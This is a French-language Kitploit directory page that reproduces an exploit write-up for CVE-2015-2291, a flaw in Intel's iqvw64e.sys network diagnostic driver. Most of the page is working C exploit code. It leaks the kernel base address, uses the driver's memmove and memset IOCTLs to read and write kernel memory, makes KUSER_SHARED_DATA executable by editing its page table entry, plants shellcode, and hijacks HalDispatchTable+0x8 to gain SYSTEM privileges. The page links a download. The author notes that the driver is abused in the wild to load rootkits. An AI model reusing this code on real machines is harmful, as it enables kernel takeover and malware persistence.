Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Outils/GitHubGitHub/gmh5225/cve-2015-2291
Escalade de PrivilègesAnalyse des VulnérabilitésExploitationArticles et RechercheApprentissage et ÉducationExploitation de Binaires
GitHubgmh5225/cve-2015-2291

CVE-2015-2291

Voir le dépôt

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →

À propos

(1) IQVW32.sys avant la version 1.3.1.0 et (2) IQVW64.sys avant la version 1.3.1.0 dans le pilote de diagnostic Ethernet Intel pour Windows permet à des utilisateurs locaux de provoquer un déni de service ou éventuellement d'exécuter du code arbitraire avec les privilèges du noyau via un appel IOCTL contrefait (a) 0x80862013, (b) 0x8086200B, (c) 0x8086200F ou (d) 0x80862007.

551il y a 4 ansPas encore vérifié
Partager

CVE-2015-2291

(1) IQVW32.sys avant la version 1.3.1.0 et (2) IQVW64.sys avant la version 1.3.1.0 dans le pilote de diagnostic Ethernet Intel pour Windows permet aux utilisateurs locaux de provoquer un déni de service ou éventuellement d'exécuter du code arbitraire avec des privilèges noyau via un appel IOCTL contrefait (a) 0x80862013, (b) 0x8086200B, (c) 0x8086200F, ou (d) 0x80862007.

Overview

Ce dépôt contient un rapport sur la vulnérabilité en question, ainsi que des preuves de concept fonctionnelles sur Windows 7 SP1 64 bits et Windows 10 20H2. Le fichier du pilote se trouve dans le répertoire Driver Files. Si vous découvrez des fautes de frappe dans le rapport/document, ou si vous souhaitez voir certains détails avec une description plus élaborée, veuillez créer un ticket (issue) sur le dépôt ! Je les corrigerai dès que possible.

Motivation

La motivation derrière l'écriture d'un exploit pour ce pilote de périphérique en particulier est uniquement parce qu'il est actuellement abusé dans la nature pour charger un rootkit non signé d'un attaquant. En utilisant la méthode BYOVD (Bring Your Own Vulnerable Driver), les logiciels malveillants peuvent vérifier s'ils s'exécutent avec des privilèges élevés, déposer une copie du pilote vulnérable, charger le pilote, puis l'exploiter pour obtenir l'exécution de code noyau afin de charger le rootkit. Je n'ai pas réussi à rétro-ingénierer l'échantillon de logiciel malveillant, j'ai donc pris sur moi de créer l'exploit.

Samples spotted in the wild: https://bazaar.abuse.ch/sample/84ed7fec67de5621806dbb43af5167a5fc60ab7f2403448519dc0eca2b8f9022/ https://bazaar.abuse.ch/sample/0925b8985b19d7925d68186d666b0050a4cb3f2a577d64765d770a57a2eab9ae/ https://bazaar.abuse.ch/sample/e8b7f42d544fe8b954c4021315cff2fdd44d67d11704009cdf3037d34e0c0a93/

CVE-2015-2291 - Analyse technique d'un exploit

Le pilote de périphérique, à savoir iqvw64e.sys, est un pilote conçu pour effectuer des diagnostics de carte réseau. Il permet au composant en mode utilisateur d'interagir avec le pilote pour exécuter une multitude de routines noyau en exposant quelques codes de contrôle d'E/S (également appelés IOCTL), avec un code de contrôle IOCTL "sub" fourni dans le tampon d'entrée de l'utilisateur lors de l'interaction. Le code de contrôle IOCTL qui sera utilisé pour atteindre le chemin de code vulnérable est 0x80862007. En plus du code de contrôle principal, les codes de contrôle sub susmentionnés qui seront couverts dans cette analyse seront le code 0x33 pour atteindre l'appel de fonction memmove, et le code 0x30 pour atteindre les chemins de code de l'appel de fonction memset. Ce rapport ne couvrira aucun détail concernant la routine DriverEntry, car il existe suffisamment de documentation sur la page de documentation de Microsoft pour vous donner une explication approfondie.

Pour commencer, nous voulons savoir comment interagir avec ce pilote de périphérique particulier en premier lieu. Le moyen le plus courant de communiquer avec un pilote de périphérique est d'utiliser une fonction nommée DeviceIoControl. L'idée générale derrière cette fonction est que nous pouvons passer un handle de pilote valide créé par CreateFileA, passer un code de contrôle IOCTL qui correspond à la routine noyau que nous voulons, passer une structure (ou tampon) qu'elle attend, et elle retournera des données dans notre tampon de sortie. Bien que ces routines puissent parfois être nécessaires (par exemple, accéder aux registres spécifiques au modèle pour l'overclocking), elles posent également un risque sérieux pour la sécurité. Mais... comment ?

Dans le cas de CVE-2015-2291, la vulnérabilité peut être déclenchée par un utilisateur non privilégié. Comme il n'y a pas de vérifications d'assainissement présentes et que les privilèges d'administrateur ne sont pas nécessaires pour exploiter la vulnérabilité, cela pose un risque de sécurité. Ce qui se cache derrière ces deux défauts, c'est la capacité de contrôler complètement les appels de fonction memset et memmove exposés par l'interface des codes de contrôle IOCTL. Souvenez-vous de la fonction DeviceIoControl mentionnée précédemment, comment nous pouvons passer une structure qui sera utilisée dans une routine noyau ? C'est ainsi que tout s'assemble.

Prenons du recul. Nous voulons d'abord obtenir le handle du pilote lié au pilote vulnérable. Avant cela cependant, nous devons localiser l'objet de périphérique nommé correspondant. Ceux-ci sont exposés à l'espace utilisateur par un lien symbolique (généralement codé en dur), qui peut être trouvé en utilisant WinObj, faisant partie de la suite [SysInternals]. Bien que nous puissions utiliser un utilitaire de vidage de chaînes pour vider le lien symbolique, ou alternativement rétro-ingénierer le pilote, j'ai simplement chargé le pilote et l'ai localisé en utilisant WinObj. Le lien symbolique trouvé en relation avec le pilote est \\.\GLOBALROOT\Device\Nal. Pour obtenir le handle du pilote, nous devons appeler la fonction CreateFileA et lui faire retourner un handle de pilote valide que nous utiliserons plus tard dans le processus. Le code pour ce processus est le suivant :```C if (h_nal == (HANDLE)-1) { printf("\n[-] Unable to obtain a driver handle to the Nal device driver. Error: %d (0x%x)", GetLastError(), GetLastError()); unused = getchar(); return 1; } printf("\n[+] Obtained a driver handle to the Nal device driver. Handle Value: 0x%p", h_nal);

root@kitploit:~
Nous utiliserons le handle du pilote plus tard dans le processus d'exploitation. Pour l'instant, nous allons commencer la préparation de notre exploit. L'étape suivante consiste à charger la bibliothèque `ntdll.dll` à l'aide de la fonction [LoadLibraryA](https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-loadlibrarya) pour obtenir un [handle de module](https://docs.microsoft.com/en-us/windows/win32/winprog/windows-data-types), afin de localiser dynamiquement les fonctions nécessaires. Bien que la bibliothèque `ntdll.dll` soit peut-être déjà chargée dans notre processus, nous devons néanmoins obtenir un handle vers celle-ci que nous pourrons utiliser. Les fonctions dont nous avons besoin pour l'exploitation sont [NtQuerySystemInformation](https://docs.microsoft.com/en-us/windows/win32/api/winternl/nf-winternl-ntquerysysteminformation) pour fuiter l'adresse de base du noyau NT (avec une intégrité de processus moyenne) plus tard dans le processus d'exploitation, et la fonction [NtQueryIntervalProfile](http://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FNT%20Objects%2FProfile%2FNtQueryIntervalProfile.html) pour déclencher la vulnérabilité. Quant au code pour charger la bibliothèque `ntdll.dll`, il est le suivant :```C
h_ntdll = LoadLibraryA("C:\\Windows\\System32\\ntdll.dll");
if (!h_ntdll)
{
	printf("\n[-] Failed to load the \"ntdll.dll\" API library. Error: %d (0x%x)", GetLastError(), GetLastError());
	unused = getchar();
	return 0;
}
printf("\n[+] Loaded the \"ntdll.dll\" API library. Handle Value: 0x%p", h_ntdll);

Maintenant que nous avons obtenu un handle sur la bibliothèque, nous allons commencer par localiser la fonction NtQueryIntervalProfile. Pour commencer, nous aurons besoin d'une définition de type pour cette fonction, car elle n'est pas documentée. Bien que vous puissiez trouver la définition de type en ligne, je l'ai fournie ici pour un accès plus facile :```C typedef unsigned int(__stdcall* NtQueryIntervalProfile)( unsigned int ProfileSource, PULONG Interval );

root@kitploit:~
Pour utiliser cette fonction, nous devrons également déclarer une variable (locale ou globale, à vous de choisir) en utilisant le type `NtQueryIntervalProfile`. Maintenant, comment transformer cette variable en une fonction réelle ? Pour ce faire, nous utiliserons une fonction nommée [GetProcAddress](https://docs.microsoft.com/fr-fr/windows/win32/api/libloaderapi/nf-libloaderapi-getprocaddress). En passant un handle vers le module que nous voulons parcourir (le premier paramètre) et en passant le nom de la fonction (le deuxième paramètre), nous pouvons localiser n'importe quelle fonction dans le module et récupérer un pointeur vers cette fonction ! Du code est fourni pour vous aider à traiter ces informations.```C
_NtQueryIntervalProfile = (NtQueryIntervalProfile)GetProcAddress(h_ntdll, "NtQueryIntervalProfile");
if (!_NtQueryIntervalProfile)
{
	printf("\n[-] Failed to locate the \"NtQueryIntervalProfile\" function. Error: %d (0x%x)", GetLastError(), GetLastError());
	unused = getchar();
	return 1;
}
printf("\n[+] Located the \"NtQueryIntervalProfile\" function. Function Address: 0x%p", _NtQueryIntervalProfile);

La raison pour laquelle le chargement dynamique de fonctions et la possibilité de les utiliser fonctionne est que les fonctions elles-mêmes sont des pointeurs vers du code exécutable. Le corps réel d'une fonction est le code qui sera exécuté.

Maintenant que nous avons résolu le pointeur de fonction NtQueryIntervalProfile, nous devons encore récupérer l'adresse de la fonction NtQuerySystemInformation. Comme auparavant, nous avons besoin d'une définition de type pour cette fonction, et nous devrons également déclarer une variable pour appeler la fonction. De plus, comme précédemment, j'ai fourni la définition de type pour faciliter l'accès.```C typedef NTSTATUS(WINAPI* NtQuerySystemInformation)( SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength );

root@kitploit:~
Et, de même, nous devons localiser la fonction. La seule différence entre l'appel précédent à `GetProcAddress` et celui-ci réside dans la fonction que nous recherchons. Nous pouvons copier la fonction et modifier le second paramètre pour rechercher notre deuxième fonction. Une fois le code écrit, nous devrions obtenir quelque chose de similaire à ceci :```C
_NtQuerySystemInformation = (NtQuerySystemInformation)GetProcAddress(h_ntdll, "NtQuerySystemInformation");
if (!_NtQuerySystemInformation)
{
	printf("\n[-] Failed to locate the \"NtQuerySystemInformation\" function. Error: %d (0x%x)", GetLastError(), GetLastError());
	unused = getchar();
	return 0;
}
printf("\n[+] Located the \"NtQuerySystemInformation\" function. Function Address: 0x%p", _NtQuerySystemInformation);

Parfait ! Nous avons localisé toutes les fonctions non présentes dont nous avons besoin. Maintenant, nous allons devoir divulguer l'adresse de base du noyau NT. Avec l'aide de NtQuerySystemInformation, nous pouvons créer une requête qui retournera les adresses de base et d'autres informations de tous les pilotes de périphériques actuellement chargés. Le premier paramètre de la fonction NtQuerySystemInformation est une énumération, spécifiquement une qui n'est pas documentée publiquement. L'énumération est SystemModuleInformation, qui a une valeur correspondante de 0xB. Ensuite, nous devrons passer un pointeur vers l'une des structures retournées. Les structures et énumérations nécessaires sont fournies ci-dessous, gracieuseté de FuzzySecurity (@b33f) :```C typedef enum _SYSTEM_INFORMATION_CLASS { SystemModuleInformation = 0xB, } SYSTEM_INFORMATION_CLASS;

typedef struct SYSTEM_MODULE { ULONG Reserved1; ULONG Reserved2; ULONG Reserved3; PVOID ImageBaseAddress; ULONG ImageSize; ULONG Flags; WORD Id; WORD Rank; WORD LoadCount; WORD NameOffset; CHAR Name[256]; } SYSTEM_MODULE, * PSYSTEM_MODULE;

typedef struct SYSTEM_MODULE_INFORMATION { ULONG ModulesCount; SYSTEM_MODULE Modules[1]; } SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;

root@kitploit:~
Mais attendez, il y a plus ! Nous devrons spécifier la taille de la structure à allouer. Comme la taille de la structure varie en fonction du nombre de pilotes de périphériques dont il faut récupérer les informations, nous devons appeler cette fonction deux fois ; le premier appel de fonction servira à récupérer la taille attendue de la structure, et le second appel de fonction servira à récupérer les informations et à les stocker dans notre structure. Pour récupérer la taille, utilisez l’énumération `SystemModuleInformation` mentionnée précédemment pour le premier paramètre, passez un pointeur vers une variable qui stockera la taille de la structure, et passez `0` (ou `NULL`) pour le reste des paramètres restants. Le code devrait ressembler à ceci :```C
_NtQuerySystemInformation(SystemModuleInformation, 0, 0, &return_length);

Assez simple ! Nous avons réussi à récupérer la taille de la structure attendue. Maintenant, nous devons allouer de la mémoire pour notre variable qui stockera les informations. En utilisant une fonction nommée VirtualAlloc, nous pouvons allouer de la mémoire sur la pile à n'importe quelle adresse que nous fournissons, avec n'importe quelle taille souhaitée, avec notre propre ensemble de protections, et retourner un pointeur vers cette mémoire. Pour nos besoins, nous n'avons pas besoin d'allouer cette mémoire à une adresse fixe, nous passerons donc 0 pour permettre au gestionnaire de mémoire de choisir un emplacement en mémoire pour nous. De plus, nous devrons également allouer un bloc de mémoire sur la pile avec la taille retournée par NtQuerySystemInformation, c'est pourquoi nous avons dû stocker la valeur. Quant au type d'allocation et aux paramètres de protection, utilisez simplement les arguments génériques indiqués dans le code ci-dessous.```C module_info = (PSYSTEM_MODULE_INFORMATION)VirtualAlloc(0, return_length, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);

root@kitploit:~
Maintenant que nous avons alloué notre mémoire de pile pour la structure retournée, nous pouvons interroger les informations du module système et récupérer une structure contenant les informations de chaque pilote de périphérique chargé. Pour ce faire, nous pouvons réutiliser notre appel de fonction à `NtQuerySystemInformation` précédent, et passer un pointeur vers la structure (deuxième paramètre) ainsi que la taille de la structure (troisième paramètre). Alors, avez-vous quelque chose comme cela ?```C
status = _NtQuerySystemInformation(SystemModuleInformation, module_info, return_length, &return_length);
if (status)
{
	printf("\n[-] Failed to query system module information. NTSTATUS: %d (0x%x)", status, status);
	unused = getchar();
	return 0;
}
printf("\n[+] Queried system module information.");

Eh bien, j'espère que vous avez quelque chose de similaire. Il ne nous reste plus qu'à divulguer l'adresse de base du noyau NT en interrogeant notre structure ! Vous n'avez pas besoin de comparer des chaînes avec le nom du pilote dans ce cas, car les informations du pilote du noyau NT sont toujours à l'index 0 dans cette structure. Pour récupérer l'adresse de base d'un pilote, imprimez, stockez ou retournez simplement la valeur du champ ImageBaseAddress de la structure. Il est également de bonne pratique de s'assurer que le pointeur n'est pas NULL avant de l'utiliser.```C if (module_info) { printf("\n[+] Leaked the NT kernel base address. Kernel Base Address: 0x%p", module_info->Modules[0].ImageBaseAddress); return (unsigned long long)module_info->Modules[0].ImageBaseAddress; }

printf("\n[-] Failed to leak the NT kernel base address."); unused = getchar(); return 0;

root@kitploit:~
Nous avons réussi à récupérer l'adresse de base du noyau. Maintenant, il reste une étape avant de commencer l'exploitation de cette vulnérabilité. Nous devons créer un pointeur `QWORD` (un entier 64 bits) qui stockera notre [PTE (page table entry)](https://en.wikipedia.org/wiki/Page_table) et allouer de la mémoire sur la pile pour celui-ci en utilisant `VirtualAlloc`. Les PTEs seront abordées plus tard dans ce document.

Comme démontré précédemment, nous utiliserons `VirtualAlloc` pour allouer de la mémoire et retourner un pointeur vers le bloc de mémoire. Le code utilisé dans mon exploit est présenté ci-dessous :```C
pte_address = (long long*)VirtualAlloc(0, 8, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!pte_address)
{
	printf("\n[-] Failed to allocate stack memory for the leaked page table entry base address pointer. Error: %d (0x%x)", GetLastError(), GetLastError());
	unused = getchar();
	return 1;
}
printf("\n[+] Allocated stack memory for the leaked page table entry base address pointer. Stack Memory Address: 0x%p", (long long*)pte_address);

Maintenant que la dernière étape du processus de configuration est terminée, commençons le processus d'exploitation !

Comme mentionné dans les parties précédentes de l'article, le code de contrôle d'E/S que nous voulons utiliser est l'IOCTL 0x80862007. Mais comment passer les « sous-IOCTL » ?

Proof of our input buffer being stored in rcx

Un pointeur vers notre entrée utilisateur que nous passons au pilote de périphérique est stocké dans le registre rcx. Comme nous pouvons le voir sur cette figure, nous avons remarqué qu'il déréférence simplement la valeur au premier QWORD de la structure que nous allons passer. Ensuite, il effectue un switch-case sur la valeur obtenue.

Proof of our input buffer being stored in rcx

En parcourant le pseudo-code décompilé, nous trouvons deux routines qui nous permettent de contrôler respectivement les trois valeurs de memset et memove. En passant une valeur de 0x30 comme premier QWORD de la structure, nous pouvons atteindre le chemin de code memset. Alternativement, en passant une valeur de 0x33 comme premier QWORD de la structure, nous atteignons le chemin de code memmove. Ces deux chemins de code sont représentés ci-dessous respectivement.

Proof of memset control Proof of memmove control

En regardant les décalages du tampon d'entrée utilisés, nous avons pu créer des structures pour ces deux fonctions à passer, pour une lecture plus facile. Notez qu'il y a un champ QWORD utilisé comme bourrage. Bien que nous ne lui assignions aucune valeur, nous avons besoin de ce champ pour que la définition de notre structure soit correcte. De plus, notez les paramètres utilisés dans les appels à ces routines. Pendant le processus de rétro-ingénierie, nous avons appris que les paramètres passés sont dans le bon ordre par rapport à leurs définitions de fonctions respectives. Des figures indiquant cela ont également été fournies ci-dessous. La structure d'entrée pour le chemin de code memset :```C typedef struct _MEMSET_INPUT_BUFFER { unsigned long long JumpTableCode; // Offset: 0x0 (0) unsigned long long Padding1; // Offset: 0x8 (8) unsigned long long Value; // Offset: 0x10 (16) unsigned long long Destination; // Offset: 0x18 (24) unsigned long long Length; // Offset: 0x20 (32) } MEMSET_INPUT_BUFFER, * PMEMSET_INPUT_BUFFER;

root@kitploit:~
La structure d'entrée du chemin de code `memmove` :```C
typedef struct _MEMMOVE_INPUT_BUFFER
{
	unsigned long long JumpTableCode;	// Offset: 0x0 (0)
	unsigned long long Padding1;		// Offset: 0x8 (8)
	unsigned long long* Source;		// Offset: 0x10 (16)
	unsigned long long* Destination;	// Offset: 0x18 (24)
	unsigned long long Length;		// Offset: 0x20 (32)
} MEMMOVE_INPUT_BUFFER, * PMEMMOVE_INPUT_BUFFER;

Proof of memset order Proof of memmove order

Après une analyse rapide, il était raisonnable de supposer que celles-ci nous fourniraient une primitive d'exploitation de lecture et d'écriture arbitraires dans le noyau. C'est parfait pour l'exploitation sur Windows 10, car nous n'avons pas besoin de convertir une primitive d'exploitation en lectures et écritures arbitraires, ce qui permet d'exploiter cette vulnérabilité avec une grande facilité.

Pour commencer, nous utiliserons notre primitive d'exploitation memmove pour lire la fonction noyau nt!MiGetPteAddress+0x13. À ce décalage dans la fonction, nous trouvons une valeur arbitraire. Combinée avec les autres opérations réalisables dans notre exploit, nous pouvons calculer l'adresse de base de toutes les PTEs ! Vous souvenez-vous de la variable pte_address que nous avons créée plus tôt ? Ou vous souvenez-vous de la fuite de l'adresse de base du noyau NT ? Toute la préparation de l'exploit discutée précédemment a rendu cela possible. Le code pour calculer l'adresse de base de toutes les PTEs est présenté ci-dessous. Prenez note de l'adresse KUSER_SHARED_DATA, car sous Windows 10 20H2, celle-ci était l'une des dernières régions de mémoire du noyau à ne pas être affectée par l'ASLR (Randomisation de l'espace d'adressage) du noyau.

Proof of an arbitrary value located at nt!MiGetPteAddress+0x13```C unsigned long long kuser_shared_data_loc = 0xFFFFF78000000050; current_pte_address = kuser_shared_data_loc >> 9; current_pte_address &= 0x7FFFFFFFF8;

memmove_input_struct.JumpTableCode = 0x33; memmove_input_struct.Source = nt_base_address + MI_GET_PTE_ADDRESS_PLUS_0X13_OFFSET; memmove_input_struct.Destination = pte_address; memmove_input_struct.Length = 0x8;

DeviceIoControl(h_nal, TARGET_IOCTL, &memmove_input_struct, sizeof(memmove_input_struct), &output, sizeof(output), &bytes_returned, 0); current_pte_address += pte_address; printf("\n[+] Calculated page table entry address. Page Table Entry Address: 0x%p", (unsigned long long)current_pte_address);

root@kitploit:~
Maintenant que nous avons calculé l'adresse de base de la PTE de notre page cible, nous voulons déréférencer cette adresse et récupérer les bits utilisés par l'entrée de page. Nous aurons besoin de ces données sous peu pour modifier cette région mémoire en lecture, écriture et exécutable. Nous avons modifié l'adresse `source` dans notre structure pour pointer vers notre adresse PTE, et changé le champ `destination` pour qu'il pointe vers une variable sur la pile afin de stocker les bits récupérés, sans modifier aucun autre champ de la structure d'entrée.```C
unsigned long long current_pte_contents = 0;

memmove_input_struct.Source = current_pte_address;
memmove_input_struct.Destination = &current_pte_contents;
DeviceIoControl(h_nal, TARGET_IOCTL, &memmove_input_struct, sizeof(memmove_input_struct), &output, sizeof(output), &bytes_returned, 0);
printf("\n[+] Dereferenced page table entry address. Page Table Entry Bits: 0x%llx", current_pte_contents);

Maintenant que nous avons le contenu binaire de la PTE réelle, nous voulons la marquer comme exécutable sans modifier d'autres bits. Pour ce faire, nous voulons effacer le bit de plus haut niveau de la valeur récupérée afin de supprimer le bit NX (no execute). Heureusement, nous pouvons utiliser une opération AND binaire sur la valeur stockée, en AND avec la valeur 0x0FFFFFFFFFFFFFFF pour accomplir cette tâche. Nous allons ensuite déclencher une écriture vers l'adresse du noyau en utilisant notre primitive d'écriture arbitraire, pour écraser la valeur stockée à l'adresse de la PTE. Quant à notre structure, nous modifierons le champ source de la structure pour qu'il pointe vers nos bits stockés, et changerons destination pour qu'il pointe à nouveau vers l'adresse de la PTE. Cela revient essentiellement à inverser l'ordre de la récupération de l'adresse de la PTE. Ceci est illustré par l'extrait de code ci-dessous.```C current_pte_contents &= 0x0FFFFFFFFFFFFFFF; memmove_input_struct.Source = &current_pte_contents; memmove_input_struct.Destination = current_pte_address; DeviceIoControl(h_nal, TARGET_IOCTL, &memmove_input_struct, sizeof(memmove_input_struct), &output, sizeof(output), &bytes_returned, 0); printf("\n[+] Marked the page table entry as executable. New Page Table Entry Bits: 0x%llx", current_pte_contents);

root@kitploit:~
Avant de continuer, nous voulons vérifier que le contenu du PTE a bien été écrasé avant de poursuivre. Si l'écrasement du bit échoue, la machine plantera (avec un `KERNEL_SECURITY_CHECK_FAILURE` ou un contrôle de bogue équivalent). Pour vérifier cela, nous utiliserons la commande `!pte` dans [WinDbg](https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/debugger-download-tools) pour confirmer que notre écrasement a fonctionné comme prévu.

![Preuve de l'écrasement des bits du PTE](https://raw.githubusercontent.com/Exploitables/CVE-2015-2291/main/Figures/PTE%20overwrite.png)

En examinant les bits du PTE, on constate que le bit NX n'est plus présent ! Cela signifie que la région mémoire `KUSER_SHARED_DATA` est désormais exécutable. Puisque nous traitons avec cette région mémoire, il est logique de placer la charge utile du noyau quelque part ici. Après avoir analysé le bloc de mémoire, nous avons appris qu'un décalage de `0x50` par rapport à la base de la région `KUSER_SHARED_DATA` est de la mémoire libre. C'est l'emplacement parfait pour placer notre charge utile !

![Preuve que KUSER_SHARED_DATA+0x50 est constitué de mémoire inutilisée](https://raw.githubusercontent.com/Exploitables/CVE-2015-2291/main/Figures/Free%20area%20of%20KUSER_SHARED_DATA%20memory.png)

Vous vous souvenez de notre primitive d'écriture `memset` vue précédemment ? En utilisant cette primitive, nous pouvons parcourir tous les octets de notre charge utile du noyau et écrire chaque octet individuellement dans cette région mémoire avec `memset`. Bien qu'il soit possible d'utiliser `memmove` pour écrire la charge utile à cet endroit, nous voulions une excuse pour utiliser les deux primitives, afin de montrer comment l'une ou l'autre peut être abusée, surtout sous contrôle total. Nous utiliserons le code de saut `0x30` pour emprunter le chemin de code `memset`, avec une longueur de `0x1` octet à écrire. La `destination` devra être incrémentée de un pour pointer vers l'octet suivant de la mémoire libre, ainsi que le décalage de notre charge utile du noyau. Ce processus peut être illustré par la boucle `for` fournie ci-dessous.```C
for (int i = 0; i < sizeof(shellcode); i++)
{
	memset_input_struct.Destination = kuser_shared_data_loc + i;
	memset_input_struct.Value = shellcode[i];
	DeviceIoControl(h_nal, TARGET_IOCTL, &memset_input_struct, sizeof(memset_input_struct), &output, sizeof(output), &bytes_returned, 0);
}
printf("\n[+] Wrote kernel payload at address 0x%llx.", kuser_shared_data_loc);

Bien que déclencher une vulnérabilité de nombreuses fois soit un risque de planter la machine, ceci est une exception, en raison de la stabilité globale du pilote de périphérique et de ses routines (mal)utilisées. Pour notre prochaine étape, nous voulons récupérer le pointeur de fonction original stocké à nt!HalDispatchTable+0x8. Ce pointeur de fonction récupéré sera utilisé dans l'étape de récupération, et empêchera notre machine de planter aléatoirement en raison de l'accès à un pointeur de fonction incorrect. Bien que cette étape ne soit pas très importante sur Windows 7, car notre fonction d'exécution de payload n'est pas appelée fréquemment, son utilisation a augmenté dans les versions ultérieures de Windows 10. Comme toujours, nous stockerons le pointeur retourné dans une variable locale sur notre pile en abusant une fois de plus de notre primitive de lecture ! Nous utiliserons également notre adresse de base du noyau NT divulguée une fois de plus, cette fois en l'associant à un décalage vers nt!HalDispatchTable avec un décalage supplémentaire de 0x8.```C memmove_input_struct.Source = nt_base_address + HAL_DISPATCH_TABLE_PLUS_0X8_OFFSET; memmove_input_struct.Destination = &recovery_address; DeviceIoControl(h_nal, TARGET_IOCTL, &memmove_input_struct, sizeof(memmove_input_struct), &output, sizeof(output), &bytes_returned, 0); printf("\n[+] Retrieved the recovery address. Recovery Address: 0x%llx", recovery_address);

root@kitploit:~
Encore quelques étapes à franchir ! Après avoir stocké avec succès le pointeur d'origine dans la table de dispatch, il est maintenant temps de remplacer ce même pointeur par notre adresse `KUSER_SHARED_DATA+0x50`, qui se traduira par `0xFFFFF78000000050`. À ce stade, tout est prêt, et nous sommes prêts à obtenir les privilèges root sur le système ! Il suffit de modifier la source de l'écrasement du pointeur pour qu'elle devienne ce qui était auparavant la `destination`, et de passer un pointeur vers notre variable locale contenant notre adresse pour le champ `source`.```C
memmove_input_struct.Destination = nt_base_address + HAL_DISPATCH_TABLE_PLUS_0X8_OFFSET;
memmove_input_struct.Source = &kuser_shared_data_loc;
DeviceIoControl(h_nal, TARGET_IOCTL, &memmove_input_struct, sizeof(memmove_input_struct), &output, sizeof(output), &bytes_returned, 0);
printf("\n[+] Overwrote an arbitrary kernel function pointer located in the \"HalDispatchTable+0x8\" function table.\n[!] Executing kernel payload...");
_NtQueryIntervalProfile(2, &interval);

La fonction NtQueryIntervalProfile est connue pour utiliser des pointeurs provenant de la table de dispatch HAL, plus précisément le décalage 0x8, et elle est couramment abusée pour cette raison. Avec la capacité d'écrire arbitrairement dans la mémoire du noyau, c'est l'une des techniques d'exploitation les plus simples qui soient ! À ce stade de notre exploit, nous avons les privilèges nt authority\system, mais nous voulons effectuer une dernière étape avant de lancer notre magnifique shell : le nettoyage et la restauration.

Cela sera regroupé en une seule étape, car les deux sont simples. Nous utiliserons les deux primitives d'écriture arbitraire une dernière fois. Pour commencer, nous allons supprimer tout notre shellcode de l'espace noyau. C'est une tâche facile, car nous pouvons utiliser la même boucle for pour parcourir la longueur de notre payload. Cette fois, nous écrasons la mémoire avec des zéros, exactement comme avant l'exécution de notre exploit.```C for (int i = 0; i < sizeof(shellcode); i++) { memset_input_struct.Destination = kuser_shared_data_loc + i; memset_input_struct.Value = 0; DeviceIoControl(h_nal, TARGET_IOCTL, &memset_input_struct, sizeof(memset_input_struct), &output, sizeof(output), &bytes_returned, 0); } printf("\n[+] Removed the kernel payload from kernel memory.");

root@kitploit:~
Je ne pense pas avoir besoin d'expliquer davantage les itérations de la boucle `for`. La dernière étape du processus de récupération (et du processus d'exploitation en général) consiste à restaurer le pointeur de fonction d'origine à `nt!HalDispatchTable+0x8`. En utilisant notre structure de données `memmove` qui a été utilisée à l'origine pour écraser l'un des nombreux pointeurs de `nt!HalDispatchTable`, il suffit de modifier le champ `source` pour passer un pointeur vers l'adresse d'origine. Comme précédemment, je pense qu'il n'est pas nécessaire d'expliquer cette partie plus en détail (1 $ si vous pouvez compter combien de fois je me suis répété !).```C
memmove_input_struct.Source = &recovery_address;
DeviceIoControl(h_nal, TARGET_IOCTL, &memmove_input_struct, sizeof(memmove_input_struct), &output, sizeof(output), &bytes_returned, 0);
printf("\n[+] Restored the original function pointer.");

Et maintenant, vous pouvez vous amuser. Lancez ce shell système !

Proof of nt authority\system privileges

Dans l'ensemble, ce fut un bug très amusant à exploiter. Le processus d'exploitation n'était pas aussi compliqué que je le pensais. Cela m'a également permis de me familiariser davantage avec les manipulations de PTE, et m'a permis de créer ma toute première exploitation d'élévation de privilèges locale qui n'abuse pas de HackSys Extreme Vulnerable Driver ! J'espère vous revoir bientôt.

Crédits

  • HackSys Team ; Création du HackSys Extreme Vulnerable Driver pour que je puisse m'entraîner
  • Connor McGarr ; Création d'un excellent article sur la manipulation des entrées de table de pages
  • Fuzzy Security ; Création des premiers tutoriels d'exploitation du noyau que j'aie jamais lus
  • The Offensive Security Discord ; M'avoir fourni de l'aide et des conseils tout au long de mon apprentissage, et m'avoir offert une communauté incroyable avec qui discuter
  • La communauté de la sécurité (dans son ensemble) ; M'avoir fourni la motivation dont j'avais besoin pour continuer
Télécharger l’outil